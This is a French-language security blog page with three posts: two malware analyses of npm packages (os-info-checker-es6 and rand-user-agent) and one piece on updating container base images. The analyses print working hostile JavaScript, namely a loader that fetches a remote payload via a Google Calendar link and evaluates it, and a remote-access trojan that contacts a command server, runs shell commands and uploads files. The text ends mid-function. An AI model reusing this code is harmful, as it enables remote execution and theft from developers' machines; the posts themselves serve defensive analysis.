Bienvenue sur notre blog.
.png)
Vous êtes invités : Diffusion de logiciels malveillants via les invitations de Google Calendar et les PUA
Le 19 mars 2025, nous avons découvert un paquet appelé os-info-checker-es6
et nous avons été déconcertés. Nous avons compris qu'il ne faisait pas ce qu'il disait. Mais de quoi s'agit-il ? Nous avons décidé d'enquêter sur la question et nous sommes d'abord tombés dans des impasses. Mais la patience paie et nous avons fini par obtenir la plupart des réponses que nous cherchions. Nous avons également appris à connaître les PUA Unicode (non, pas les artistes de la drague). C'était un tour de montagnes russes d'émotions !
Qu'est-ce que le paquet ?
Le paquet ne donne pas beaucoup d'indices en raison de l'absence d'un LISEZ-MOI
. Voici à quoi ressemble le paquet sur npm :

Ce n'est pas très informatif. Mais il semble qu'il récupère des informations sur le système. Continuons.
Un code malodorant le trahit
Notre pipeline d'analyse a immédiatement soulevé de nombreux signaux d'alerte à partir des éléments suivants du paquet preinstall.js
en raison de la présence d'un eval()
avec une entrée encodée en base64.

Nous voyons le eval(atob(...)))
call. Cela signifie "Décoder une chaîne base64 et l'évaluer", c'est-à-dire exécuter du code arbitraire. Ce n'est jamais bon signe. Mais quelle est l'entrée ?
L'entrée est une chaîne de caractères résultant de l'appel à décoder()
sur un module Node natif livré avec le paquet. L'entrée de cette fonction ressemble à... Juste un |
? ! Qu'est-ce que c'est ?
Plusieurs grandes questions se posent ici :
- Que fait la fonction de décodage ?
- Quel est le rapport entre le décodage et la vérification des informations relatives au système d'exploitation ?
- Pourquoi ?
eval()
Le faire ? - Pourquoi la seule entrée est-elle une
|
?
Allons plus loin
Nous avons décidé de faire de la rétro-ingénierie sur le binaire. C'est un petit binaire Rust qui ne fait pas grand chose. Nous nous attendions initialement à voir des appels à des fonctions pour obtenir des informations sur le système d'exploitation, mais nous n'avons RIEN vu. Nous avons pensé que le binaire cachait peut-être d'autres secrets, fournissant ainsi la réponse à notre première question. Nous y reviendrons plus tard.
Mais alors, pourquoi l'entrée de la fonction n'est-elle qu'un simple |
? C'est ici que les choses deviennent intéressantes. Ce n'est pas l'entrée réelle. Nous avons copié le code dans un autre éditeur, et ce que nous voyons est :

Womp-womp ! Ils ont failli s'en tirer. Ce que nous voyons est appelé caractères Unicode "Private Use Access". Il s'agit de codes non attribués dans la norme Unicode, qui est réservée à un usage privé et que les gens peuvent utiliser pour définir leurs propres symboles pour leur application. Ils sont intrinsèquement inimprimables, car ils ne signifient rien en soi.
Dans ce cas, le décoder
dans le binaire natif de Node décode ces octets en caractères ASCII encodés en base64. C'est très astucieux !
Faisons un tour d'horizon
Nous avons donc décidé d'examiner le code réel. Heureusement, il enregistre le code qu'il a exécuté dans un fichier run.txt. Et c'est juste ça :
console.log('Vérifier') ;
C'est super inintéressant. Qu'est-ce qu'ils préparent ? Pourquoi font-ils tous ces efforts pour cacher ce code ? Nous étions stupéfaits.
Mais ensuite...
Nous avons commencé à voir des paquets publiés qui dépendaient de ce paquet, l'un d'entre eux étant du même auteur. Il s'agissait de
skip-tot
(19 mars 2025)- Il s'agit d'une copie du paquet
vue-skip-to
.
- Il s'agit d'une copie du paquet
vue-dev-serverr
(31 mars 2025)- Il s'agit d'une copie du repo https://github.com/guru-git-man/first.
vue-dummyy
(3 avril 2025)- Il s'agit d'une copie du paquet
vue-dummy
.
- Il s'agit d'une copie du paquet
vue-bit
(3 avril 2025)- Prétend être le paquet
@teambit/bvm
. - Il ne contient pas de code réel.
- Prétend être le paquet
Ils ont tous en commun d'ajouter os-info-checker-es6
en tant que dépendance, mais ne jamais appeler le décoder
fonction. Quelle déception ! Nous n'avons aucune idée de ce que les attaquants espéraient faire. Il ne s'est rien passé pendant un certain temps, jusqu'à ce que le os-info-checker-es6
a été remis à jour après une longue pause.
ENFIN
Cette affaire me trottait dans la tête depuis un certain temps. Elle n'avait aucun sens. Qu'est-ce qu'ils essayaient de faire ? Ai-je raté quelque chose d'évident en décompilant le module Node natif ? Pourquoi un attaquant brûlerait-il cette nouvelle capacité si tôt ? La réponse est venue le 7 mai 2025, lorsqu'une nouvelle version de os-info-checker-es6
, version 1.0.8
est sorti. Les preinstall.js
a changé.

Oh regardez, la chaîne obscurcie est beaucoup plus longue ! Mais la eval
est commenté. Ainsi, même si une charge utile malveillante existe dans la chaîne obfusquée, elle ne sera pas exécutée. Qu'en est-il ? Nous avons exécuté le décodeur dans un bac à sable et imprimé la chaîne décodée. La voici après un peu d'embellissement et d'annotations manuelles :
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Avez-vous vu l'URL de Google Calendar dans l'orchestrateur ? C'est une chose intéressante à voir dans un logiciel malveillant. Très intéressant.
Vous êtes tous invités !
Voici à quoi ressemble le lien :

Une invitation à un calendrier dont le titre est une chaîne encodée en base64. Superbe ! La photo de profil de la pizza m'a fait espérer qu'il s'agissait peut-être d'une invitation à une soirée pizza, mais l'événement est prévu pour le 7 juin 2027. Je ne peux pas attendre aussi longtemps pour une pizza. Je vais quand même prendre une autre chaîne encodée en base64. Voici ce que cela donne :
http ://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
Dans une impasse... encore
Cette enquête a connu des hauts et des bas. Nous pensions que les choses étaient dans une impasse, mais des signes de vie sont réapparus. Nous avons été à deux doigts de découvrir la VÉRITABLE intention malveillante du développeur, mais nous n'y sommes pas parvenus.
Ne vous y trompez pas : il s'agit d'une nouvelle approche de l'obscurcissement. On pourrait penser que toute personne ayant consacré le temps et les efforts nécessaires à la réalisation d'un tel projet utiliserait les capacités qu'elle a développées. Au lieu de cela, ils semblent n'en avoir rien fait, montrant ainsi leur main.
Par conséquent, notre moteur d'analyse détecte désormais des schémas comme celui-ci, où un attaquant tente de dissimuler des données dans des caractères de contrôle non imprimables. Il s'agit d'un autre cas où le fait d'essayer d'être intelligent, au lieu de rendre la détection plus difficile, crée en fait plus de signaux. Parce qu'il est tellement inhabituel qu'il se démarque et qu'il affiche un grand signe disant "JE SUIS EN TRAIN DE FAIRE DU MAL". Continuez à faire du bon travail. 👍
Indicateurs de compromis
Emballages
os-info-checker-es6
skip-tot
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URL
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Remerciements
Au cours de cette enquête, nous avons été aidés par nos grands amis de Vector35, qui nous ont fourni une licence d'essai pour leur outil Binary Ninja afin de s'assurer que nous comprenions parfaitement le module Node natif. Un grand merci à l'équipe pour leur excellent produit. 👏
.png)
Pourquoi la mise à jour des images de base des conteneurs est si difficile (et comment la faciliter)
La sécurité des conteneurs commence par l'image de base.
Mais il y a un hic :
- Le simple fait de passer à la "dernière" version d'une image de base peut endommager votre application.
- Vous êtes contraint de choisir entre l'expédition de vulnérabilités connues et des journées entières consacrées à la résolution de problèmes de compatibilité.
- Et souvent, vous n'êtes même pas sûr qu'une mise à niveau en vaille la peine.
Dans cet article, nous allons voir pourquoi la mise à jour des images de base est plus difficile qu'il n'y paraît, nous allons voir des exemples concrets et nous allons montrer comment vous pouvez automatiser des mises à jour sûres et intelligentes sans casser votre application.
Le problème : "Il suffit de mettre à jour votre image de base" - Plus facile à dire qu'à faire
Si vous lisez ceci, vous avez probablement cherché sur Google quelque chose comme "Comment sécuriser vos conteneurs" et le premier point de chaque article généré par l'IA que vous avez lu est le suivant : mettez à jour votre image de base. C'est simple, non ? Pas si vite.
Votre image de base est votre point central de sécurité, si votre image de base contient des vulnérabilités, alors votre application porte ces vulnérabilités avec elle. Jouons ce scénario.
Vous lancez un scan de votre image de conteneur et un CVE de haute sévérité est trouvé. La recommandation utile est de mettre à jour l'image de base, ce qui est fantastique, vous aurez terminé avant le déjeuner.
⚠️ CVE-2023-37920 trouvé dans ubuntu :20.04
Sévérité: Élevée
Corrigé dans: 22.04
Recommandation: Mettre à jour l'image de base
...mais vous découvrez un problème.
En passant aveuglément de ubuntu:20.04
à ubuntu:22.04
Votre demande est rejetée.
Examinons quelques exemples de surimpression d'une image de base et ce qui se passe dans la réalité.
Exemple 1 : Un fichier Docker qui se casse la figure après une mise à jour
Fichier Docker initial :
FROM python:3.8-buster
Exécuter apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]
L'équipe se met à niveau :
FROM python:3.11-bookworm
Exécuter apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]
Résultat :
psycopg2==2.8.6
ne compile pas contre les versions plus récentes delibpq
les en-têtes surrat de bibliothèque.
flask==1.1.2
ne prend pas en chargePython 3.11
les fonctionnalités d'exécution (les API obsolètes sont interrompues).- La construction est interrompue dans le CI.
- Votre équipe de développement est en colère et votre déjeuner est gâché.
Exemple 2 : mises à jour de l'image de base introduisant des bogues d'exécution subtils
Original :
FROM node:14-busterCOPY. /app
RUN npm ci
CMD ["node", "server.js"]
Mise à niveau vers :
FROM node:20-bullseye
COPY . /app
RUN npm ci
CMD ["node", "server.js"]
Problème d'exécution :
nœud:20
utilise des produits plus récentsOpenSSL
versions - la vérification stricte de TLS casse les anciennes configurations d'axios.- L'application lance
UNABLE_TO_VERIFY_LEAF_SIGNATURE
erreurs lors de l'exécutionHTTP
les appels vers les services existants.
Pourquoi le "dernier cri" est un piège
L'écosystème Docker encourage l'utilisation des dernières balises ou des versions les plus récentes. Mais cela signifie souvent que votre application qui fonctionnait le lundi tombe soudainement en panne le mardi. Il s'agit souvent d'un piège qui entraîne des maux de tête, des pannes et un ralentissement du développement, car vous passez du temps à corriger les bogues.
La solution est donc évidemment d'épingler une version mineure que vous avez testée.... Pas si vite, car vous entrez maintenant dans le jeu de la sécurité à la carte, où vous découvrirez sans cesse de nouvelles CVE qui pourraient vous rendre vulnérable.
Paralysie décisionnelle : Faut-il ou non procéder à une mise à niveau ?
Les équipes chargées de la sécurité insistent pour que les mises à jour soient effectuées.
Les développeurs repoussent les mises à jour pour des raisons de stabilité.
Qui a raison ? Cela dépend.
MAIS, pour comprendre la décision, vous devez examiner toutes les options, ce qui signifie créer une feuille de calcul massive de toutes les versions, des risques de sécurité, des risques de stabilité et de la disponibilité.
Voyons à quoi cela pourrait ressembler.
Vous vous retrouvez donc face à des choix complexes, médiocres et impossibles.
- Rester sur l'ancienne image et accepter les vulnérabilités
- Mettre à jour et casser votre application, en risquant des arrêts de production
- Tentative de test de compatibilité manuel - jours de travail
Le processus de mise à niveau manuelle :
Si vous le faites à la main, voici à quoi cela ressemble :
- Vérifier les CVE :
trivy image python:3.8-buster
- Recherchez chaque CVE : est-il accessible dans votre contexte d'application ?
- Choisir un candidat à la mise à niveau
- Tester la nouvelle image :
- Construire
- Exécuter les tests unitaires
- Exécuter les tests d'intégration
- En cas d'échec, essayez de corriger le code ou de mettre à jour les bibliothèques.
- Répéter l'opération pour chaque récipient.
C'est épuisant.
Le coût de l'immobilisme
Vous pensez peut-être que "si ce n'est pas cassé, il ne faut pas le réparer".
Mais les vulnérabilités non corrigées des conteneurs contribuent massivement aux failles de sécurité : "87 % des images de conteneurs fonctionnant en production présentaient au moins une vulnérabilité critique ou de grande gravité" .
Il existe également de nombreux exploits connus dans les images de base populaires.
- Faille de sécurité dans les chemins d'accès à Unzip (
CVE-2020-27350
) - sont restés dans des millions de conteneurs pendant des années. - Heartbleed (
CVE-2014-0160
) sont restés dans les anciens conteneurs bien après les corrections officielles. PHP-FPM RCE
(CVE-2019-11043
) permettent à des attaquants distants d'exécuter du code arbitraire par le biais de requêtes HTTP élaborées et étaient extrêmement répandues dans les images de base de conteneurs avecPHP-FPM préinstallé
avant d'être patché
L'utilité de notre fonction Auto-Fix
Pour résoudre ce problème, Aikido Security a mis en place une fonction d'auto-fixation des conteneurs, car nous vivons aussi cette situation.
La fonctionnalité fonctionne comme suit : Aikido scanne vos images et vos conteneurs à la recherche de vulnérabilités. Si (ou plus probablement quand) nous trouvons des vulnérabilités, comme toujours nous vous alertons, puis au lieu de vous crier de mettre à jour votre image de base, nous vous fournissons différentes options. Nous créons un tableau qui vous permet de savoir quelle version de l'image de base résoudra quelles CVEs, de cette façon vous pouvez très rapidement voir qu'une modification mineure peut supprimer toutes ou une majorité de CVEs élevées, ce qui signifie qu'il s'agit d'une mise à jour adéquate de l'image de base.
Si la mise à jour est mineure, vous pouvez automatiquement créer une demande d'extension pour augmenter la version.
Ce sont des heures de travail économisées
Conclusion :
- La mise à jour des images de base des conteneurs est vraiment difficile.
- Le conseil de se contenter d'une mise à niveau simplifie à l'extrême un processus complexe et porteur de risques.
- Vos équipes ont raison d'être prudentes, mais elles ne devraient pas avoir à choisir entre sécurité et stabilité.
- Le conteneur autofix d'Aikido fait le travail pour vous afin que vous puissiez prendre une décision en toute connaissance de cause.
- Ainsi, la prochaine fois que vous verrez une alerte de vulnérabilité de l'image de base, vous ne paniquerez pas. Vous obtiendrez une RP.
.png)
RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)
Le 5 mai, à 16h00 GMT+0, notre pipeline d'analyse automatisée des logiciels malveillants a détecté la publication d'un paquet suspect, rand-user-agent@1.0.110
. Il a détecté un code inhabituel dans le paquet, et il ne s'est pas trompé. Il a détecté les signes d'une attaque de la chaîne d'approvisionnement contre ce paquet légitime, qui compte environ 45 000 téléchargements hebdomadaires.
Qu'est-ce que le paquet ?
Le paquet `rand-user-agent` génère des chaînes de caractères aléatoires pour les user-agents en se basant sur leur fréquence d'apparition. Il est maintenu par la société WebScrapingAPI(https://www.webscrapingapi.com/).
Qu'avons-nous détecté ?
Notre moteur d'analyse a détecté un code suspect dans le fichier dist/index.js. Regardons-le, ici vu à travers la vue du code sur le site de npm :
.png)
Avez-vous remarqué quelque chose d'étrange ? Vous voyez cette barre de défilement en bas ? Mince, ils ont recommencé. Ils ont essayé de cacher le code. Voici ce qu'ils essaient de cacher, en plus joli :
global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
var siM = "",
mZw = 357 - 346;
function pHg(l) {
var y = 2461180;
var i = l.length;
var x = [];
for (var v = 0; v < i; v++) {
x[v] = l.charAt(v);
}
for (var v = 0; v < i; v++) {
var h = y * (v + 179) + (y % 18929);
var w = y * (v + 658) + (y % 13606);
var s = h % i;
var f = w % i;
var j = x[s];
x[s] = x[f];
x[f] = j;
y = (h + w) % 5578712;
}
return x.join("");
}
var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
var Abp =
'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[ v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
var QbC = pHg[Rjb];
var duZ = "";
var yCZ = QbC;
var pPW = QbC(duZ, pHg(Abp));
var fqw = pPW(
pHg(
']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7 0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
),
);
var zlJ = yCZ(siM, fqw);
zlJ(5164);
return 8268;
})();
Oui, ça n'a pas l'air d'aller. Il est évident que ce n'est pas censé se trouver à cet endroit.
Comment le code est-il arrivé là ?
Si nous regardons le dépôt GitHub du projet, nous voyons que le dernier commit date de 7 mois, lorsque la version 2.0.82 a été publiée.

Si nous regardons l'historique des versions de npm, nous voyons quelque chose d'étrange. Il y a eu plusieurs versions depuis :
.png)
La dernière version, selon GitHub, devrait donc être 2.0.82
. Et si nous inspectons les colis depuis lors, nous constatons qu'ils contiennent tous ce code malveillant. Un cas évident d'attaque de la chaîne d'approvisionnement.
La charge utile malveillante
La charge utile est assez obscurcie, utilisant plusieurs couches d'obscurcissement pour se cacher. Mais voici la charge utile finale que vous finirez par trouver :
global['_H2'] = ''
global['_H3'] = ''
;(async () => {
const c = global.r || require,
d = c('os'),
f = c('path'),
g = c('fs'),
h = c('child_process'),
i = c('crypto'),
j = f.join(d.homedir(), '.node_modules')
if (typeof module === 'object') {
module.paths.push(f.join(j, 'node_modules'))
} else {
if (global['_module']) {
global['_module'].paths.push(f.join(j, 'node_modules'))
}
}
async function k(I, J) {
return new global.Promise((K, L) => {
h.exec(I, J, (M, N, O) => {
if (M) {
L('Error: ' + M.message)
return
}
if (O) {
L('Stderr: ' + O)
return
}
K(N)
})
})
}
function l(I) {
try {
return c.resolve(I), true
} catch (J) {
return false
}
}
const m = l('axios'),
n = l('socket.io-client')
if (!m || !n) {
try {
const I = {
stdio: 'inherit',
windowsHide: true,
}
const J = {
stdio: 'inherit',
windowsHide: true,
}
if (m) {
await k('npm --prefix "' + j + '" install socket.io-client', I)
} else {
await k('npm --prefix "' + j + '" install axios socket.io-client', J)
}
} catch (K) {
console.log(K)
}
}
const o = c('axios'),
p = c('form-data'),
q = c('socket.io-client')
let r,
s,
t = { M: P }
const u = d.platform().startsWith('win'),
v = d.type(),
w = global['_H3'] || 'http://85.239.62[.]36:3306',
x = global['_H2'] || 'http://85.239.62[.]36:27017'
function y() {
return d.hostname() + '$' + d.userInfo().username
}
function z() {
const L = i.randomBytes(16)
L[6] = (L[6] & 15) | 64
L[8] = (L[8] & 63) | 128
const M = L.toString('hex')
return (
M.substring(0, 8) +
'-' +
M.substring(8, 12) +
'-' +
M.substring(12, 16) +
'-' +
M.substring(16, 20) +
'-' +
M.substring(20, 32)
)
}
function A() {
const L = { reconnectionDelay: 5000 }
r = q(w, L)
r.on('connect', () => {
console.log('Successfully connected to the server')
const M = y(),
N = {
clientUuid: M,
processId: s,
osType: v,
}
r.emit('identify', 'client', N)
})
r.on('disconnect', () => {
console.log('Disconnected from server')
})
r.on('command', F)
r.on('exit', () => {
process.exit()
})
}
async function B(L, M, N, O) {
try {
const P = new p()
P.append('client_id', L)
P.append('path', N)
M.forEach((R) => {
const S = f.basename(R)
P.append(S, g.createReadStream(R))
})
const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
Q.status === 200
? r.emit(
'response',
'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
O
)
: r.emit(
'response',
'Failed to upload file. Status code: ' + Q.status + '\n',
O
)
} catch (R) {
r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
}
}
async function C(L, M, N, O) {
try {
let P = 0,
Q = 0
const R = D(M)
for (const S of R) {
if (t[O].stopKey) {
r.emit(
'response',
'HTTP upload stopped: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
return
}
const T = f.relative(M, S),
U = f.join(N, f.dirname(T))
try {
await B(L, [S], U, O)
P++
} catch (V) {
Q++
}
}
r.emit(
'response',
'HTTP upload succeeded: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
} catch (W) {
r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
}
}
function D(L) {
let M = []
const N = g.readdirSync(L)
return (
N.forEach((O) => {
const P = f.join(L, O),
Q = g.statSync(P)
Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
}),
M
)
}
function E(L) {
const M = L.split(':')
if (M.length < 2) {
const R = {}
return (
(R.valid = false),
(R.message = 'Command is missing ":" separator or parameters'),
R
)
}
const N = M[1].split(',')
if (N.length < 2) {
const S = {}
return (
(S.valid = false), (S.message = 'Filename or destination is missing'), S
)
}
const O = N[0].trim(),
P = N[1].trim()
if (!O || !P) {
const T = {}
return (
